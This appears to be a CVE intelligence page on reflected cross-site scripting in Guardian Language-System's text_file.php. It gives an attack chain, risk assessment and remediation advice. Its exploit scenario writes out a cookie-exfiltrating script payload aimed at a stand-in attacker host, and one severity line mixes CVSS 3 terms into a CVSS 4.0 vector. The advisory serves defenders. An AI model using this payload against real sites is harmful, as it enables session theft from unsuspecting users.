Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to Guardian Language-System instance
-
DeliveryCraft malicious URL with script payload in id parameter
-
ExploitDeliver crafted URL to authenticated victim via phishing or internal message
-
InstallVictim navigates to text_file.php with injected id
-
C2Browser reflects unsanitized id into form action attribute
-
ExecuteInjected script executes in victim's browser session
-
ImpactExfiltrate session cookie or perform unauthorized actions as victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to hold a valid authenticated session on the Guardian Language-System instance, as indicated by PR:L in the CVSS 4.0 vector - anonymous unauthenticated exploitation is not possible. A second prerequisite is that a separate authenticated victim user must actively follow the crafted URL (UI:A); passive exploitation without victim interaction is not viable for this reflected XSS pattern. The vulnerable attack surface is specifically the id GET parameter passed to text_file.php; no non-default configuration or special server-side feature flag is required - any standard deployment of the unpatched application exposing text_file.php is vulnerable. Exploitation is limited by: mandatory attacker authentication (eliminating external mass-exploitation), required victim interaction (reducing automated exploitation viability), and the need to target users of the same application instance. |
| Impact | The CVSS 4.0 score of 4.8 accurately reflects moderate real-world risk. The attack vector is network-based (AV:N) with low complexity (AC:L) but is gated by two meaningful prerequisites: attacker authentication (PR:L) and victim user interaction (UI:A), both of which materially reduce the attack surface. The CVSS 4.0 impact metrics show no direct vulnerable-system impact (VC:N/VI:N/VA:N) and only limited subsequent-system impact (SC:L/SI:L), consistent with session-level XSS consequences. There is no CISA KEV listing, so active in-the-wild exploitation is not confirmed. However, the publicly available POC on GitHub substantially lowers the exploitation barrier, making this more actionable for less-skilled attackers than the raw score implies. The wildcard CPE version range suggests all deployed versions are affected, with no patched release identified - meaning the exposure window is open-ended until a fix is issued. Organizations should not dismiss this as theoretical solely because of the moderate score; the combination of POC availability and no patch raises practical urgency. |
| Exploit ScenarioDerived | A publicly available POC exists at https://gist.github.com/cyberinforepo/d5b2771d82e1b31b8fc1c33052e08dad. An authenticated attacker logs into a Guardian Language-System instance, constructs a URL targeting text_file.php with a script-injecting id parameter value (e.g., id=><script>document.location='https://attacker.tld/?c='+document.cookie</script>), and delivers it to a second authenticated user via phishing email or internal messaging. When the victim follows the link while logged in, the injected script fires in their browser session, exfiltrating their session cookie or silently performing privileged actions on their behalf. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 01, 2026
Reflected XSS in Guardian Language-System's text_file.php allows an authenticated attacker to inject arbitrary script tags into at least six distinct form action attributes (lines 94, 101, 323, 403, 826, 852) by crafting a malicious URL with a payload in the id GET parameter. When a second authenticated victim is socially engineered into following the crafted link, the script executes within their browser session against the Guardian Language-System origin, enabling session token theft or unauthorized actions on the victim's behalf. A publicly available proof-of-concept exploit exists on GitHub; no CISA KEV listing has been identified, meaning active exploitation is not confirmed at time of analysis.
RemediationAI
No vendor-released patch has been identified at time of analysis; the CPE wildcard and absence of a fix version in any reference confirm this. The correct long-term fix is to apply htmlspecialchars($id, ENT_QUOTES, 'UTF-8') before reflecting the id parameter into any HTML attribute context in text_file.php. As an immediate compensating control, restrict access to text_file.php to the minimum required user roles via server-side ACLs (Apache .htaccess, nginx location blocks, or application-layer middleware) - this limits the pool of potential attackers but does not eliminate the flaw if privileged users are targeted. Deploying a WAF rule to block requests where the id parameter contains HTML metacharacters (quotes, angle brackets, script keywords) can reduce exploitation attempts, though WAF bypass is possible with encoding tricks. Monitor the VulnCheck advisory at https://www.vulncheck.com/advisories/guardian-language-system-xss-via-text-file-php-id-parameter and the POC gist at https://gist.github.com/cyberinforepo/d5b2771d82e1b31b8fc1c33052e08dad for patch or bypass developments.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Guardian Language-System is a PHP web application identified by CPE cpe:2.3:a:guardian:language-system:*:*:*:*:*:*:*:*. The vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting). Specifically, the application reflects the id GET parameter directly into HTML form action attributes in text_file.php without applying PHP output encoding functions such as htmlspecialchars() with ENT_QUOTES. Because the injection point is an HTML attribute value, an attacker can break out of the attribute context using quote characters and inject script tags or event handlers. The multiplicity of injection sites (at least six across the same file) suggests a systemic absence of output encoding rather than a single oversight, implying other parameters or files may carry similar risks.
Know when Guardian gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Requires authenticated attacker (PR:L) and victim interaction (UI:R); scope changes (S:C) as script executes in victim's browser; no availability impact applies.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Guardian language-system fails to sanitize the id GET parameter before inserting it into multiple HTML form action attributes in text_file.php (lines 94, 101, 323, 403, 826, 852). An authenticated attacker can craft a URL that injects script tags executing in the victim's browser session.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
OS command injection in Guardian language-system lets unauthenticated remote attackers run arbitrary shell commands by i
Remote code execution in Guardian language-system allows unauthenticated attackers to run arbitrary OS commands by injec
Unauthenticated SQL injection in Guardian Language System lets remote attackers manipulate the backend database by injec
Error-based SQL injection in Guardian Language-System allows a network-accessible authenticated attacker to extract the
SQL injection in Guardian Language-System's designer.php (line 124) allows attackers to extract, modify, or destroy the
Error-based SQL injection in Guardian language-system's subtitles.php exposes full database contents to low-privileged a
Error-based SQL injection in Guardian Language-System exposes the full database to low-privileged authenticated attacker
Error-based SQL injection in Guardian language-system's text_file.php exposes the full database to extraction via a triv
SQL injection in Guardian language-system's media.php endpoint allows low-privilege authenticated attackers to extract t
Nozomi Networks OS before 19.0.4 allows /#/network?tab=network_node_list.html CSV Injection. Rated high severity (CVSS 7
Nozomi Guardian before 19.0.4 allows attackers to achieve stored XSS (in the web front end) by leveraging the ability to
A SQL Injection vulnerability in Nozomi Networks Guardian and CMC, due to improper input validation in certain fields us
EUVD-2026-41053
GHSA-92fw-jg6p-568q
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB